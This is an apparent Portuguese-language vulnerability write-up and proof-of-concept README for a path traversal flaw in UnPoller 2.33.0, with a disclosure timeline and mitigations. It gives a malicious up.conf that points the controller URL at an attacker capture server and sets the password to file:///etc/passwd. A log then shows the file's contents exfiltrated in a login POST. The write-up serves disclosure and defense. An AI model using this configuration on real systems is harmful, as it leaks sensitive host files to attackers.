
Walkthrough e PoC da vulnerabilidade de path traversal (CVE-2026-36851) para UnPoller 2.33.0
Path traversal / leitura arbitrária de arquivos no UnPoller v2.33.0 através do prefixo de senha file://. O conteúdo dos arquivos é lido do disco e transmitido para a URL configurada do controlador UniFi durante a autenticação.
| CVE | CVE-2026-36851 |
| Produto | UnPoller v2.33.0 (versões anteriores provavelmente afetadas) |
| Fraqueza | CWE-22 (Path Traversal - Traversão de Caminho), CWE-20 (Improper Input Validation - Validação de Entrada Impropria) |
| CVSS 3.1 | 7.5 Alto — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| Relator | Hector Diaz |
O UnPoller suporta carregar credenciais de um arquivo quando o valor de configuração começa com file://. Esse comportamento é documentado para implantações Docker onde operadores desejam senhas fora de arquivos de configuração em texto simples. A implementação não restringe qual caminho pode ser lido — qualquer arquivo que o processo possa acessar é uma entrada válida. Esse conteúdo é então enviado pela rede em um POST JSON para /api/login no controlador cujo url está definido no mesmo arquivo de configuração.
Essa combinação transforma uma primitiva de leitura local de arquivo em um canal de exfiltração de rede: um invasor com acesso de escrita ao up.conf pode apontar url para um servidor que ele controla e vazar repetidamente arquivos sensíveis sem permissão de leitura direta nesses arquivos.
Eu executo o UnPoller no meu homelab — Docker em um Proxmox LXC — para exportar métricas do UniFi para o Grafana junto com o restante da minha stack. Eu estava revisando projetos open-source em busca de vulnerabilidades web comuns. O UnPoller tem uma superfície webvoltada ao usuário mínima, então XSS era um beco sem saída. A configuração de exemplo é onde a descoberta começou:
pass = "file:///path/to/password.file"
A intenção é razoável: referenciar um arquivo de segredos em vez de incorporar a senha no up.conf. A questão que eu tinha era se o UnPoller valida esse caminho — ou trata qualquer valor file:// como um ponteiro literal do sistema de arquivos.
Rastreando a fonte em pkg/inputunifi/input.go (e manipulação semelhante em influxunifi, lokiunifi) mostra que não há lista de permissões. Quando pass ou api_key começa com file://, o prefixo é removido e os.ReadFile() carrega o conteúdo completo do arquivo no campo de credencial usado para autenticação no UniFi.
Confidencialidade: Arquivos legíveis arbitrários no host do UnPoller podem ser exfiltrados — por exemplo, /etc/passwd, /proc/version, /etc/hosts, configurações de aplicação e potencialmente material de chave dependendo das permissões do processo.
Pré-requisitos do ataque: Acesso de escrita à configuração do UnPoller (tipicamente up.conf). Nenhuma credencial UniFi é necessária para acionar a leitura após a modificação da configuração.
Por que isso importa além do acesso de administrador local: Em hospedagem compartilhada, Kubernetes mal configurado ou cenários de sidecar comprometido, um ator com privilégios baixos pode ser capaz de modificar a configuração do serviço sem conseguir ler arquivos sensíveis diretamente. Esse comportamento preenche essa lacuna fazendo o UnPoller ler o arquivo e transmiti-lo para fora.
Fora do escopo: Execução remota de código, integridade ou disponibilidade — isso é um problema de divulgação de informações com um caminho claro de exfiltração.
Testado contra ghcr.io/unpoller/unpoller:latest (v2.33.0) em um Proxmox LXC baseado em Debian com Docker Compose.
Definir UP_UNIFI_DEFAULT_PASS="file:///etc/passwd" via variável de ambiente não acionou o comportamento na minha implantação. O arquivo de configuração montado era a fonte de verdade efetiva.
Editei o up.conf para apontar o UnPoller para um servidor de captura que eu controlava em vez do meu controlador UniFi de produção:
[unifi.defaults]
url = "https://x.x.x.x:8443"
user = "admin"
pass = "file:///etc/passwd"
Após docker restart unpoller, o container começou a se conectar ao meu listener na porta 8443 a cada ~30 segundos.
Meu primeiro servidor de captura registrava cabeçalhos HTTP e procurava por credenciais Authorization: Basic .... O UnPoller enviou requisições POST /api/login sem cabeçalho Authorization — a API do UniFi espera JSON no corpo:
{"username": "admin", "password": "..."}
Atualizei o listener para ler Content-Length, analisar o corpo do POST e registrar o JSON. Em menos de um minuto, /etc/passwd apareceu no campo de senha:

Trecho do log:
🎯 CORPO DO POST: b'{"username":"admin","password":"root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin"}'
O mesmo padrão de configuração funcionou para /proc/version (fingerprinting do kernel/build):

Exemplo de configuração maliciosa: poc/up.conf.example
| Data | Evento |
|---|---|
| 2026-02-28 | Descoberto e confirmado no homelab |
| 2026-03-01 | Notificado ao fornecedor (Discord) |
| 2026-03-02 | Solicitação de CVE enviada ao MITRE |
| 2026-06-05 | CVE-2026-36851 atribuído |
| 2026-07-03 | Artigo público publicado |
O mantenedor do UnPoller reconheceu o comportamento file:// como uma conveniência intencional para usuários Docker e questionou a explorabilidade sem separação de privilégios entre o editor de configuração e o usuário do processo. O MITRE atribuiu um identificador CVE independentemente.
Para operadores
up.conf e montagens de configuração como sensíveis; restrinja o acesso de escrita.file:// arbitrários até que uma correção esteja disponível.Para desenvolvedores
file:// dos campos de credenciais, ou aplique uma lista de permissões de caminho estrita (por exemplo, apenas em /etc/unpoller/secrets/).MIT — veja LICENSE. Os materiais de prova de conceito neste repositório são fornecidos apenas para pesquisa de segurança autorizada e educação. Não use contra sistemas que você não possui ou para os quais não possui permissão explícita para testar.
Hector Diaz · LinkedIn · hectordiaz.net